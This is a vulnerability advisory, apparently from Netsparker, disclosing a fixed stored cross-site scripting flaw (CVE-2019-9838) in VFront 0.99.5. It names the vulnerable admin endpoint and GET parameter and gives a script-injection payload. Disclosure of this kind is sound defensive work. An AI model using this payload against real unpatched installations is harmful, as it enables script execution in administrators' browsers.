VFront 0.99.5 Persistent Cross Site Scripting

`Stored Cross-site Scripting Vulnerability in VFront 0.99.5  
  
Information  
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Advisory by Netsparker  
Name: Stored Cross-site Scripting Vulnerability in VFront  
Affected Software: VFront  
Affected Versions: 0.99.5  
Homepage: http://www.vfront.org/  
Vulnerability: Stored Cross-site Scripting  
Severity: High  
Status: Fixed  
CVE-ID: CVE-2019-9838  
CVSS Score (3.0): 8.6 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N  
Netsparker Advisory Reference: NS-19-003  
  
Technical Details  
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Injection Technical Details  
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URL: http://{domain}/{vfront_path}/admin/sync_reg_tab.php?azzera=  
Parameter Name: azzera  
Parameter Type: GET  
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0067C2)</scRipt>  
  
Identification Technical Details  
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URL: http://{domain}/{vfront_path}/admin/error_log.php  
  
For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).  
  
Advisory Timeline  
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5th April 2019 - First Contact  
16th May 2019 - Vendor Fixed  
28th May 2019 - Advisory Released  
  
Credits & Authors  
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These issues have been discovered by Omer Citak while testing the Netsparker Web Application Security Scanner.  
  
About Netsparker  
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Netsparker web application security scanner finds and reports security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities.  
  
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